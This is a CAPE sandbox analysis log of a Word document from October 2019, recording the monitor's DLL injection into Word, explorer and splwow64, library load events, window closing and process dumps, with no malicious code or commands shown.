Analysis

Category Package Started Completed Duration Options Log
FILE doc 2019-10-09 21:12:25 2019-10-09 21:16:08 223 seconds Show Options Show Log
procdump = 1
2019-10-09 22:12:26,015 [root] INFO: Date set to: 10-09-19, time set to: 21:12:26, timeout set to: 200
2019-10-09 22:12:26,046 [root] DEBUG: Starting analyzer from: C:\brwufirbqz
2019-10-09 22:12:26,046 [root] DEBUG: Storing results at: C:\PrbJBIo
2019-10-09 22:12:26,046 [root] DEBUG: Pipe server name: \\.\PIPE\wVFuos
2019-10-09 22:12:26,046 [root] DEBUG: No analysis package specified, trying to detect it automagically.
2019-10-09 22:12:26,046 [root] INFO: Automatically selected analysis package "doc"
2019-10-09 22:12:26,872 [root] DEBUG: Started auxiliary module Browser
2019-10-09 22:12:26,872 [root] DEBUG: Started auxiliary module Curtain
2019-10-09 22:12:26,872 [modules.auxiliary.digisig] DEBUG: Checking for a digitial signature.
2019-10-09 22:12:27,746 [modules.auxiliary.digisig] DEBUG: File format not recognized.
2019-10-09 22:12:27,746 [modules.auxiliary.digisig] INFO: Uploading signature results to aux/DigiSig.json
2019-10-09 22:12:27,746 [root] DEBUG: Started auxiliary module DigiSig
2019-10-09 22:12:27,762 [root] DEBUG: Started auxiliary module Disguise
2019-10-09 22:12:27,762 [root] DEBUG: Started auxiliary module Human
2019-10-09 22:12:27,762 [root] DEBUG: Started auxiliary module Screenshots
2019-10-09 22:12:27,762 [root] DEBUG: Started auxiliary module Sysmon
2019-10-09 22:12:27,762 [root] DEBUG: Started auxiliary module Usage
2019-10-09 22:12:27,762 [root] INFO: Analyzer: Package modules.packages.doc does not specify a DLL option
2019-10-09 22:12:27,778 [root] INFO: Analyzer: Package modules.packages.doc does not specify a DLL_64 option
2019-10-09 22:12:28,510 [lib.api.process] INFO: Successfully executed process from path "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" with arguments ""C:\Users\user\AppData\Local\Temp\UUNFfP8FMSDGQ.doc" /q" with pid 1184
2019-10-09 22:12:28,510 [lib.api.process] INFO: Option 'procdump' with value '1' sent to monitor
2019-10-09 22:12:28,510 [lib.api.process] INFO: 32-bit DLL to inject is C:\brwufirbqz\dll\sthTOr.dll, loader C:\brwufirbqz\bin\gkDFbdg.exe
2019-10-09 22:12:28,542 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\wVFuos.
2019-10-09 22:12:28,542 [root] DEBUG: Loader: Injecting process 1184 (thread 3064) with C:\brwufirbqz\dll\sthTOr.dll.
2019-10-09 22:12:28,542 [root] DEBUG: Process image base: 0x2FA80000
2019-10-09 22:12:28,542 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\brwufirbqz\dll\sthTOr.dll.
2019-10-09 22:12:28,542 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x2FBDD000 - 0x77380000
2019-10-09 22:12:28,558 [root] DEBUG: InjectDllViaIAT: Allocated 0x178 bytes for new import table at 0x2FBE0000.
2019-10-09 22:12:28,558 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-10-09 22:12:28,558 [root] DEBUG: Successfully injected DLL C:\brwufirbqz\dll\sthTOr.dll.
2019-10-09 22:12:28,558 [lib.api.process] INFO: Injected into suspended 32-bit process with pid 1184
2019-10-09 22:12:30,569 [lib.api.process] INFO: Successfully resumed process with pid 1184
2019-10-09 22:12:30,569 [root] INFO: Added new process to list with pid: 1184
2019-10-09 22:12:30,601 [root] DEBUG: Terminate processes on terminate_event enabled.
2019-10-09 22:12:30,601 [root] DEBUG: Process dumps enabled.
2019-10-09 22:12:30,680 [root] INFO: Disabling sleep skipping.
2019-10-09 22:12:30,680 [root] DEBUG: RestoreHeaders: Restored original import table.
2019-10-09 22:12:30,680 [root] INFO: Disabling sleep skipping.
2019-10-09 22:12:30,680 [root] INFO: Disabling sleep skipping.
2019-10-09 22:12:30,680 [root] INFO: Disabling sleep skipping.
2019-10-09 22:12:30,694 [root] DEBUG: CAPE initialised: 32-bit base package loaded in process 1184 at 0x747a0000, image base 0x2fa80000, stack from 0x216000-0x220000
2019-10-09 22:12:30,694 [root] DEBUG: Commandline: C:\Users\user\AppData\Local\Temp\"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" "C:\Users\user\AppData\Local\Temp\UUNFfP8FMSDGQ.doc" \q.
2019-10-09 22:12:30,694 [root] INFO: Monitor successfully loaded in process with pid 1184.
2019-10-09 22:12:30,710 [root] DEBUG: DLL loaded at 0x74BE0000: C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\Comctl32 (0x84000 bytes).
2019-10-09 22:12:30,851 [root] DEBUG: DLL loaded at 0x729E0000: C:\Program Files (x86)\Microsoft Office\Office14\wwlib (0x127b000 bytes).
2019-10-09 22:12:30,851 [root] DEBUG: DLL loaded at 0x76EA0000: C:\Windows\syswow64\OLEAUT32 (0x8f000 bytes).
2019-10-09 22:12:30,881 [root] DEBUG: DLL loaded at 0x745F0000: C:\Program Files (x86)\Microsoft Office\Office14\gfx (0x1ab000 bytes).
2019-10-09 22:12:30,881 [root] DEBUG: DLL loaded at 0x74B90000: C:\Windows\system32\WTSAPI32 (0xd000 bytes).
2019-10-09 22:12:30,898 [root] DEBUG: DLL loaded at 0x74B80000: C:\Windows\system32\MSIMG32 (0x5000 bytes).
2019-10-09 22:12:30,944 [root] DEBUG: DLL loaded at 0x71640000: C:\Program Files (x86)\Microsoft Office\Office14\oart (0x1392000 bytes).
2019-10-09 22:12:31,101 [root] DEBUG: DLL loaded at 0x70450000: C:\Program Files (x86)\Common Files\Microsoft Shared\office14\mso (0x11e4000 bytes).
2019-10-09 22:12:31,131 [root] DEBUG: DLL loaded at 0x743B0000: C:\Windows\system32\msi (0x240000 bytes).
2019-10-09 22:12:31,163 [root] DEBUG: DLL loaded at 0x74CB0000: C:\Windows\system32\apphelp (0x4c000 bytes).
2019-10-09 22:12:31,490 [root] DEBUG: DLL loaded at 0x74210000: C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\Comctl32 (0x19e000 bytes).
2019-10-09 22:12:31,522 [root] DEBUG: DLL loaded at 0x73E00000: C:\Program Files (x86)\Common Files\Microsoft Shared\office14\Cultures\office.odf (0x40f000 bytes).
2019-10-09 22:12:31,615 [root] DEBUG: DLL loaded at 0x73D30000: C:\Program Files (x86)\Microsoft Office\Office14\1033\wwintl (0xc9000 bytes).
2019-10-09 22:12:31,709 [root] DEBUG: DLL unloaded from 0x77050000.
2019-10-09 22:12:31,740 [root] DEBUG: DLL loaded at 0x70390000: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE14\MSPTLS (0xbc000 bytes).
2019-10-09 22:12:31,818 [root] DEBUG: DLL loaded at 0x74B00000: C:\Windows\system32\UxTheme (0x80000 bytes).
2019-10-09 22:12:31,959 [root] DEBUG: DLL loaded at 0x70240000: C:\Program Files (x86)\Common Files\Microsoft Shared\office14\riched20 (0x14f000 bytes).
2019-10-09 22:12:31,973 [root] DEBUG: DLL loaded at 0x6BD10000: C:\Program Files (x86)\Common Files\Microsoft Shared\office14\MSORES (0x452a000 bytes).
2019-10-09 22:12:32,006 [root] DEBUG: DLL loaded at 0x6BAA0000: C:\Program Files (x86)\Common Files\Microsoft Shared\office14\1033\MSOINTL (0x262000 bytes).
2019-10-09 22:12:32,052 [root] INFO: Announced 32-bit process name:  pid: 77633797
2019-10-09 22:12:32,052 [lib.api.process] WARNING: The process with pid 77633797 is not alive, injection aborted
2019-10-09 22:12:32,052 [root] DEBUG: DLL loaded at 0x6BA50000: C:\Windows\system32\mscoree (0x4a000 bytes).
2019-10-09 22:12:32,052 [root] DEBUG: set_caller_info: Adding region at 0x00120000 to caller regions list (advapi32::RegQueryInfoKeyW).
2019-10-09 22:12:32,052 [root] DEBUG: set_caller_info: Adding region at 0x00520000 to caller regions list (kernel32::FindFirstFileExW).
2019-10-09 22:12:32,052 [root] DEBUG: DLL loaded at 0x6B9D0000: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei (0x7b000 bytes).
2019-10-09 22:12:32,161 [root] DEBUG: DLL loaded at 0x6B9B0000: C:\Program Files (x86)\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPC (0x20000 bytes).
2019-10-09 22:12:32,270 [root] DEBUG: DLL loaded at 0x6B990000: C:\Windows\system32\DwmApi (0x13000 bytes).
2019-10-09 22:12:32,348 [root] DEBUG: DLL loaded at 0x6B930000: C:\Windows\system32\Winspool.DRV (0x51000 bytes).
2019-10-09 22:12:32,411 [root] DEBUG: DLL loaded at 0x75B20000: C:\Windows\syswow64\SHELL32 (0xc4a000 bytes).
2019-10-09 22:12:32,427 [root] DEBUG: DLL unloaded from 0x75700000.
2019-10-09 22:12:32,427 [root] DEBUG: DLL loaded at 0x6B900000: C:\Windows\system32\POWRPROF (0x25000 bytes).
2019-10-09 22:12:32,441 [root] DEBUG: DLL loaded at 0x758B0000: C:\Windows\syswow64\SETUPAPI (0x19d000 bytes).
2019-10-09 22:12:32,441 [root] DEBUG: DLL loaded at 0x76A40000: C:\Windows\syswow64\CFGMGR32 (0x27000 bytes).
2019-10-09 22:12:32,441 [root] DEBUG: DLL loaded at 0x76770000: C:\Windows\syswow64\DEVOBJ (0x12000 bytes).
2019-10-09 22:12:32,441 [root] DEBUG: DLL unloaded from 0x6B900000.
2019-10-09 22:12:32,536 [root] DEBUG: DLL loaded at 0x74AF0000: C:\Windows\system32\VERSION (0x9000 bytes).
2019-10-09 22:12:32,536 [root] DEBUG: DLL unloaded from 0x2FA80000.
2019-10-09 22:12:32,536 [root] DEBUG: DLL loaded at 0x758B0000: C:\Windows\syswow64\SETUPAPI (0x19d000 bytes).
2019-10-09 22:12:32,536 [root] DEBUG: DLL loaded at 0x76A40000: C:\Windows\syswow64\CFGMGR32 (0x27000 bytes).
2019-10-09 22:12:32,536 [root] DEBUG: DLL loaded at 0x76770000: C:\Windows\syswow64\DEVOBJ (0x12000 bytes).
2019-10-09 22:12:32,536 [root] DEBUG: DLL loaded at 0x75670000: C:\Windows\syswow64\CLBCatQ (0x83000 bytes).
2019-10-09 22:12:32,536 [root] DEBUG: DLL loaded at 0x6B830000: C:\Windows\system32\propsys (0xf5000 bytes).
2019-10-09 22:12:32,552 [root] DEBUG: DLL unloaded from 0x75B20000.
2019-10-09 22:12:32,552 [root] DEBUG: DLL loaded at 0x74BB0000: C:\Windows\system32\ntmarta (0x21000 bytes).
2019-10-09 22:12:32,552 [root] DEBUG: DLL loaded at 0x75860000: C:\Windows\syswow64\WLDAP32 (0x45000 bytes).
2019-10-09 22:12:32,614 [root] DEBUG: DLL loaded at 0x74F80000: C:\Windows\system32\CRYPTSP (0x16000 bytes).
2019-10-09 22:12:32,614 [root] DEBUG: DLL loaded at 0x74F40000: C:\Windows\system32\rsaenh (0x3b000 bytes).
2019-10-09 22:12:32,614 [root] DEBUG: DLL loaded at 0x6B820000: C:\Windows\system32\RpcRtRemote (0xe000 bytes).
2019-10-09 22:12:32,661 [root] DEBUG: DLL loaded at 0x6B6C0000: C:\Windows\System32\msxml6 (0x158000 bytes).
2019-10-09 22:12:32,801 [root] DEBUG: DLL loaded at 0x6B6B0000: C:\Windows\system32\profapi (0xb000 bytes).
2019-10-09 22:12:33,003 [root] DEBUG: DLL loaded at 0x75530000: C:\Windows\SysWOW64\urlmon (0x136000 bytes).
2019-10-09 22:12:33,019 [root] DEBUG: DLL loaded at 0x75370000: C:\Windows\syswow64\WININET (0xf5000 bytes).
2019-10-09 22:12:33,035 [root] DEBUG: DLL loaded at 0x76BD0000: C:\Windows\syswow64\iertutil (0x1fb000 bytes).
2019-10-09 22:12:33,035 [root] DEBUG: DLL loaded at 0x76790000: C:\Windows\syswow64\CRYPT32 (0x11d000 bytes).
2019-10-09 22:12:33,035 [root] DEBUG: DLL loaded at 0x768B0000: C:\Windows\syswow64\MSASN1 (0xc000 bytes).
2019-10-09 22:12:33,112 [root] DEBUG: DLL loaded at 0x6B470000: C:\Program Files (x86)\Microsoft Office\Office14\GKWord (0x238000 bytes).
2019-10-09 22:12:33,190 [root] DEBUG: DLL unloaded from 0x6B470000.
2019-10-09 22:12:33,394 [root] DEBUG: DLL loaded at 0x6B610000: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE14\USP10 (0x9e000 bytes).
2019-10-09 22:12:34,049 [root] DEBUG: DLL loaded at 0x6B5B0000: C:\Windows\System32\shdocvw (0x2e000 bytes).
2019-10-09 22:12:34,065 [root] INFO: Announced 64-bit process name: explorer.exe pid: 1708
2019-10-09 22:12:34,065 [lib.api.process] INFO: Option 'procdump' with value '1' sent to monitor
2019-10-09 22:12:34,065 [lib.api.process] INFO: 64-bit DLL to inject is C:\brwufirbqz\dll\KxFwIMr.dll, loader C:\brwufirbqz\bin\wgoSEmgI.exe
2019-10-09 22:12:34,065 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\wVFuos.
2019-10-09 22:12:34,065 [root] DEBUG: Loader: Injecting process 1708 (thread 0) with C:\brwufirbqz\dll\KxFwIMr.dll.
2019-10-09 22:12:34,065 [root] DEBUG: InjectDll: No thread ID supplied. Initial thread ID 1712, handle 0x84
2019-10-09 22:12:34,065 [root] DEBUG: Process image base: 0x00000000FFA80000
2019-10-09 22:12:34,065 [root] DEBUG: InjectDllViaIAT: Not a new process, aborting IAT patch
2019-10-09 22:12:34,065 [root] DEBUG: InjectDll: IAT patching failed, falling back to thread injection.
2019-10-09 22:12:34,079 [root] DEBUG: Terminate processes on terminate_event enabled.
2019-10-09 22:12:34,079 [root] DEBUG: Process dumps enabled.
2019-10-09 22:12:34,079 [root] INFO: Disabling sleep skipping.
2019-10-09 22:12:34,111 [root] WARNING: Unable to place hook on LockResource
2019-10-09 22:12:34,111 [root] WARNING: Unable to hook LockResource
2019-10-09 22:12:34,127 [root] DEBUG: DLL loaded at 0x6B340000: C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\GdiPlus (0x190000 bytes).
2019-10-09 22:12:34,157 [root] DEBUG: DLL unloaded from 0x77050000.
2019-10-09 22:12:34,157 [root] DEBUG: CAPE initialised: 64-bit base package loaded in process 1708 at 0x000000006B4D0000, image base 0x00000000FFA80000, stack from 0x0000000006432000-0x0000000006440000
2019-10-09 22:12:34,157 [root] DEBUG: Commandline: C:\Windows\explorer.exe.
2019-10-09 22:12:34,157 [root] INFO: Added new process to list with pid: 1708
2019-10-09 22:12:34,157 [root] INFO: Monitor successfully loaded in process with pid 1708.
2019-10-09 22:12:34,157 [root] DEBUG: InjectDllViaThread: Successfully injected Dll into process via RtlCreateUserThread.
2019-10-09 22:12:34,157 [root] DEBUG: InjectDll: Successfully injected DLL via thread.
2019-10-09 22:12:34,157 [root] DEBUG: Successfully injected DLL C:\brwufirbqz\dll\KxFwIMr.dll.
2019-10-09 22:12:34,532 [root] DEBUG: DLL loaded at 0x6B300000: C:\Program Files (x86)\Microsoft Office\Office14\msproof7 (0x39000 bytes).
2019-10-09 22:12:34,548 [root] INFO: Announced 32-bit process name:  pid: 1
2019-10-09 22:12:34,548 [lib.api.process] WARNING: The process with pid 1 is not alive, injection aborted
2019-10-09 22:12:34,563 [root] DEBUG: DLL unloaded from 0x6B9B0000.
2019-10-09 22:12:34,579 [root] DEBUG: DLL unloaded from 0x751E0000.
2019-10-09 22:12:34,688 [root] DEBUG: DLL unloaded from 0x6B9B0000.
2019-10-09 22:12:35,405 [root] INFO: Announced 32-bit process name:  pid: 1
2019-10-09 22:12:35,405 [lib.api.process] WARNING: The process with pid 1 is not alive, injection aborted
2019-10-09 22:12:35,405 [root] INFO: Announced 32-bit process name:  pid: 1
2019-10-09 22:12:35,405 [lib.api.process] WARNING: The process with pid 1 is not alive, injection aborted
2019-10-09 22:12:36,171 [root] DEBUG: DLL loaded at 0x3F100000: C:\Program Files (x86)\Microsoft Office\OFFICE14\PROOF\1033\MSGR3EN (0x311000 bytes).
2019-10-09 22:12:36,201 [root] DEBUG: set_caller_info: Adding region at 0x06640000 to caller regions list (advapi32::RegCreateKeyExA).
2019-10-09 22:12:36,311 [root] DEBUG: DLL loaded at 0x6AFE0000: C:\Windows\system32\WindowsCodecs (0xfb000 bytes).
2019-10-09 22:12:42,676 [root] INFO: Announced 64-bit process name: splwow64.exe pid: 2444
2019-10-09 22:12:42,676 [lib.api.process] INFO: Option 'procdump' with value '1' sent to monitor
2019-10-09 22:12:42,676 [lib.api.process] INFO: 64-bit DLL to inject is C:\brwufirbqz\dll\KxFwIMr.dll, loader C:\brwufirbqz\bin\wgoSEmgI.exe
2019-10-09 22:12:42,676 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\wVFuos.
2019-10-09 22:12:42,676 [root] DEBUG: Loader: Injecting process 2444 (thread 2068) with C:\brwufirbqz\dll\KxFwIMr.dll.
2019-10-09 22:12:42,676 [root] DEBUG: Process image base: 0x00000000FF3A0000
2019-10-09 22:12:42,676 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\brwufirbqz\dll\KxFwIMr.dll.
2019-10-09 22:12:42,676 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x00000000FF3B4000 - 0x000007FEFF6A0000
2019-10-09 22:12:42,676 [root] DEBUG: InjectDllViaIAT: Allocated 0x204 bytes for new import table at 0x00000000FF3C0000.
2019-10-09 22:12:42,676 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-10-09 22:12:42,676 [root] DEBUG: Successfully injected DLL C:\brwufirbqz\dll\KxFwIMr.dll.
2019-10-09 22:12:42,676 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 2444
2019-10-09 22:12:42,676 [root] INFO: Announced 64-bit process name: splwow64.exe pid: 2444
2019-10-09 22:12:42,676 [lib.api.process] INFO: Option 'procdump' with value '1' sent to monitor
2019-10-09 22:12:42,676 [lib.api.process] INFO: 64-bit DLL to inject is C:\brwufirbqz\dll\KxFwIMr.dll, loader C:\brwufirbqz\bin\wgoSEmgI.exe
2019-10-09 22:12:42,676 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\wVFuos.
2019-10-09 22:12:42,676 [root] DEBUG: Loader: Injecting process 2444 (thread 2068) with C:\brwufirbqz\dll\KxFwIMr.dll.
2019-10-09 22:12:42,676 [root] DEBUG: Process image base: 0x00000000FF3A0000
2019-10-09 22:12:42,676 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\brwufirbqz\dll\KxFwIMr.dll.
2019-10-09 22:12:42,676 [root] DEBUG: InjectDllViaIAT: This image has already been patched.
2019-10-09 22:12:42,676 [root] DEBUG: Successfully injected DLL C:\brwufirbqz\dll\KxFwIMr.dll.
2019-10-09 22:12:42,676 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 2444
2019-10-09 22:12:42,691 [root] DEBUG: Terminate processes on terminate_event enabled.
2019-10-09 22:12:42,691 [root] DEBUG: Process dumps enabled.
2019-10-09 22:12:42,691 [root] INFO: Disabling sleep skipping.
2019-10-09 22:12:42,691 [root] WARNING: Unable to place hook on LockResource
2019-10-09 22:12:42,691 [root] WARNING: Unable to hook LockResource
2019-10-09 22:12:42,707 [root] DEBUG: RestoreHeaders: Restored original import table.
2019-10-09 22:12:42,707 [root] DEBUG: CAPE initialised: 64-bit base package loaded in process 2444 at 0x000000006B4D0000, image base 0x00000000FF3A0000, stack from 0x00000000001B5000-0x00000000001C0000
2019-10-09 22:12:42,707 [root] DEBUG: Commandline: C:\Windows\splwow64.exe 12288.
2019-10-09 22:12:42,707 [root] INFO: Added new process to list with pid: 2444
2019-10-09 22:12:42,707 [root] INFO: Monitor successfully loaded in process with pid 2444.
2019-10-09 22:12:42,707 [root] DEBUG: DLL loaded at 0x000007FEFD270000: C:\Windows\system32\RpcRtRemote (0x14000 bytes).
2019-10-09 22:12:42,723 [root] DEBUG: DLL loaded at 0x000007FEFCF60000: C:\Windows\system32\secur32 (0xb000 bytes).
2019-10-09 22:12:42,723 [root] DEBUG: DLL loaded at 0x000007FEFCB60000: C:\Windows\system32\cryptsp (0x17000 bytes).
2019-10-09 22:12:42,737 [root] DEBUG: DLL loaded at 0x000007FEFC760000: C:\Windows\system32\credssp (0xa000 bytes).
2019-10-09 22:12:42,737 [root] DEBUG: DLL unloaded from 0x000007FEFCB60000.
2019-10-09 22:12:42,753 [root] DEBUG: DLL unloaded from 0x6B930000.
2019-10-09 22:12:42,815 [root] DEBUG: DLL loaded at 0x000007FEF3D10000: C:\Windows\system32\spool\DRIVERS\x64\3\unidrvui (0xdc000 bytes).
2019-10-09 22:12:42,832 [root] DEBUG: DLL loaded at 0x000007FEFC430000: C:\Windows\system32\VERSION (0xc000 bytes).
2019-10-09 22:12:42,832 [root] DEBUG: DLL loaded at 0x000007FEFE400000: C:\Windows\system32\OLEAUT32 (0xd7000 bytes).
2019-10-09 22:12:42,894 [root] DEBUG: DLL loaded at 0x000007FEF9A40000: C:\Windows\system32\spool\DRIVERS\x64\3\SendToOneNoteUI (0x12000 bytes).
2019-10-09 22:12:42,910 [root] DEBUG: DLL unloaded from 0x000007FEF9A40000.
2019-10-09 22:12:42,910 [root] DEBUG: DLL unloaded from 0x000007FEF92D0000.
2019-10-09 22:12:42,910 [root] DEBUG: DLL unloaded from 0x000007FEF9A40000.
2019-10-09 22:12:42,926 [root] DEBUG: DLL unloaded from 0x000007FEF92D0000.
2019-10-09 22:12:42,940 [root] DEBUG: DLL loaded at 0x000007FEF3C50000: C:\Windows\system32\spool\DRIVERS\x64\3\mxdwdrv (0xb2000 bytes).
2019-10-09 22:12:42,957 [root] DEBUG: DLL unloaded from 0x000007FEF9A40000.
2019-10-09 22:12:43,003 [root] DEBUG: DLL loaded at 0x000007FEF9A20000: C:\Windows\system32\FontSub (0x1c000 bytes).
2019-10-09 22:12:43,035 [root] DEBUG: DLL unloaded from 0x000007FEF3D10000.
2019-10-09 22:12:43,049 [root] DEBUG: DLL unloaded from 0x000007FEF9A40000.
2019-10-09 22:12:43,049 [root] DEBUG: DLL unloaded from 0x000007FEF92D0000.
2019-10-09 22:12:43,049 [root] DEBUG: DLL unloaded from 0x000007FEF9A40000.
2019-10-09 22:12:43,065 [root] DEBUG: DLL unloaded from 0x000007FEF92D0000.
2019-10-09 22:12:43,206 [root] DEBUG: DLL unloaded from 0x000007FEF9A20000.
2019-10-09 22:12:43,221 [root] DEBUG: DLL unloaded from 0x000007FEF9A40000.
2019-10-09 22:12:43,253 [root] DEBUG: DLL loaded at 0x000007FEF77D0000: C:\Windows\system32\FontSub (0x1c000 bytes).
2019-10-09 22:12:43,269 [root] DEBUG: DLL unloaded from 0x000007FEF3D10000.
2019-10-09 22:12:43,283 [root] DEBUG: DLL unloaded from 0x000007FEF9A40000.
2019-10-09 22:12:43,283 [root] DEBUG: DLL unloaded from 0x000007FEF92D0000.
2019-10-09 22:12:43,283 [root] DEBUG: DLL unloaded from 0x000007FEF9A40000.
2019-10-09 22:12:43,299 [root] DEBUG: DLL unloaded from 0x000007FEF92D0000.
2019-10-09 22:12:43,299 [root] DEBUG: DLL unloaded from 0x000007FEF77D0000.
2019-10-09 22:12:43,315 [root] DEBUG: DLL unloaded from 0x000007FEF9A40000.
2019-10-09 22:12:43,346 [root] DEBUG: DLL loaded at 0x000007FEF9A20000: C:\Windows\system32\FontSub (0x1c000 bytes).
2019-10-09 22:12:43,378 [root] DEBUG: DLL unloaded from 0x000007FEF3D10000.
2019-10-09 22:12:43,378 [root] DEBUG: DLL unloaded from 0x000007FEF9A40000.
2019-10-09 22:12:43,378 [root] DEBUG: DLL unloaded from 0x000007FEF92D0000.
2019-10-09 22:12:43,378 [root] DEBUG: DLL unloaded from 0x000007FEF9A40000.
2019-10-09 22:12:43,394 [root] DEBUG: DLL unloaded from 0x000007FEF92D0000.
2019-10-09 22:12:50,601 [root] DEBUG: DLL loaded at 0x6AF80000: C:\Windows\system32\SXS (0x5f000 bytes).
2019-10-09 22:12:52,644 [root] DEBUG: DLL unloaded from 0x76A70000.
2019-10-09 22:12:59,789 [modules.auxiliary.human] INFO: Closing Office window.
2019-10-09 22:12:59,851 [root] DEBUG: DLL unloaded from 0x3F100000.
2019-10-09 22:12:59,882 [root] DEBUG: DLL unloaded from 0x70240000.
2019-10-09 22:12:59,914 [root] DEBUG: DLL loaded at 0x6B5E0000: C:\Windows\system32\POWRPROF (0x25000 bytes).
2019-10-09 22:12:59,914 [root] DEBUG: DLL unloaded from 0x6B5E0000.
2019-10-09 22:12:59,914 [root] DEBUG: DLL unloaded from 0x76EA0000.
2019-10-09 22:12:59,914 [root] DEBUG: DLL unloaded from 0x76A70000.
2019-10-09 22:12:59,914 [root] DEBUG: DLL unloaded from 0x6B300000.
2019-10-09 22:12:59,914 [root] DEBUG: DLL unloaded from 0x6BA50000.
2019-10-09 22:12:59,914 [root] DEBUG: DLL unloaded from 0x77050000.
2019-10-09 22:12:59,914 [root] DEBUG: DLL unloaded from 0x6B9D0000.
2019-10-09 22:12:59,930 [root] DEBUG: DLL unloaded from 0x73E00000.
2019-10-09 22:12:59,930 [root] DEBUG: DLL unloaded from 0x2FA80000.
2019-10-09 22:12:59,930 [root] DEBUG: DLL unloaded from 0x6B990000.
2019-10-09 22:12:59,930 [root] DEBUG: DLL unloaded from 0x77050000.
2019-10-09 22:12:59,992 [root] DEBUG: DLL unloaded from 0x75B20000.
2019-10-09 22:12:59,992 [root] DEBUG: DLL unloaded from 0x74AF0000.
2019-10-09 22:12:59,992 [root] DEBUG: DLL unloaded from 0x70240000.
2019-10-09 22:13:00,007 [root] DEBUG: DLL unloaded from 0x6B930000.
2019-10-09 22:13:00,007 [root] DEBUG: DLL unloaded from 0x77050000.
2019-10-09 22:13:00,007 [root] DEBUG: DLL unloaded from 0x74B00000.
2019-10-09 22:13:00,023 [root] DEBUG: DLL unloaded from 0x76FC0000.
2019-10-09 22:13:00,023 [root] DEBUG: DLL unloaded from 0x6B990000.
2019-10-09 22:13:00,023 [root] DEBUG: NtTerminateProcess hook: Attempting to dump process 1184
2019-10-09 22:13:00,023 [root] DEBUG: GetHookCallerBase: thread 3064 (handle 0x0), return address 0x2FA81602, allocation base 0x2FA80000.
2019-10-09 22:13:00,023 [root] DEBUG: DumpInterestingRegions: Dumping Imagebase at 0x2FA80000.
2019-10-09 22:13:00,023 [root] DEBUG: DumpImageInCurrentProcess: Attempting to dump virtual PE image.
2019-10-09 22:13:00,023 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x2FA80000.
2019-10-09 22:13:00,023 [root] DEBUG: DumpProcess: Module entry point VA is 0x000010EC.
2019-10-09 22:13:00,053 [root] INFO: Added new CAPE file to list with path: C:\PrbJBIo\CAPE\1184_49753043510160104102019
2019-10-09 22:13:00,053 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x159800.
2019-10-09 22:13:00,053 [root] WARNING: File at path "C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{8A037D55-64C1-4E82-9803-374C38E8BB37}.tmp" does not exist, skip.
2019-10-09 22:13:00,053 [root] DEBUG: DLL unloaded from 0x75A50000.
2019-10-09 22:13:00,069 [root] DEBUG: DLL unloaded from 0x6B830000.
2019-10-09 22:13:00,117 [root] DEBUG: DLL unloaded from 0x77050000.
2019-10-09 22:13:00,117 [root] DEBUG: DLL unloaded from 0x75700000.
2019-10-09 22:13:00,117 [root] DEBUG: DLL unloaded from 0x74BB0000.
2019-10-09 22:13:00,117 [root] INFO: Notified of termination of process with pid 1184.
2019-10-09 22:13:00,990 [root] INFO: Process with pid 1184 has terminated
2019-10-09 22:13:02,783 [root] DEBUG: NtTerminateProcess hook: Attempting to dump process 2444
2019-10-09 22:13:02,799 [root] DEBUG: GetHookCallerBase: thread 2068 (handle 0x0), return address 0x00000000FF3AD0B8, allocation base 0x00000000FF3A0000.
2019-10-09 22:13:02,799 [root] DEBUG: DumpInterestingRegions: Dumping Imagebase at 0x00000000FF3A0000.
2019-10-09 22:13:02,799 [root] DEBUG: DumpImageInCurrentProcess: Attempting to dump virtual PE image.
2019-10-09 22:13:02,831 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x00000000FF3A0000.
2019-10-09 22:13:02,846 [root] DEBUG: DumpProcess: Module entry point VA is 0x000000000000D1F0.
2019-10-09 22:13:02,878 [root] DEBUG: DLL loaded at 0x000007FEFD1C0000: C:\Windows\system32\cryptbase (0xf000 bytes).
2019-10-09 22:13:02,878 [root] INFO: Added new CAPE file to list with path: C:\PrbJBIo\CAPE\2444_11852898692170104102019
2019-10-09 22:13:02,924 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x10600.
2019-10-09 22:13:02,924 [root] DEBUG: DLL unloaded from 0x000007FEFC760000.
2019-10-09 22:13:02,924 [root] DEBUG: DLL unloaded from 0x000007FEFE6E0000.
2019-10-09 22:13:02,924 [root] INFO: Notified of termination of process with pid 2444.
2019-10-09 22:13:03,017 [root] INFO: Process with pid 2444 has terminated
2019-10-09 22:13:03,033 [root] DEBUG: DLL unloaded from 0x000007FEFDF10000.
2019-10-09 22:13:10,647 [root] DEBUG: set_caller_info: Adding region at 0x000007FEF2C10000 to caller regions list (ntdll::NtDuplicateObject).
2019-10-09 22:13:10,647 [root] DEBUG: set_caller_info: Adding region at 0x000007FEF86E0000 to caller regions list (ntdll::NtDuplicateObject).
2019-10-09 22:13:10,647 [root] DEBUG: DLL unloaded from 0x000007FEF59C0000.
2019-10-09 22:13:10,661 [root] DEBUG: DLL unloaded from 0x000007FEFA5F0000.
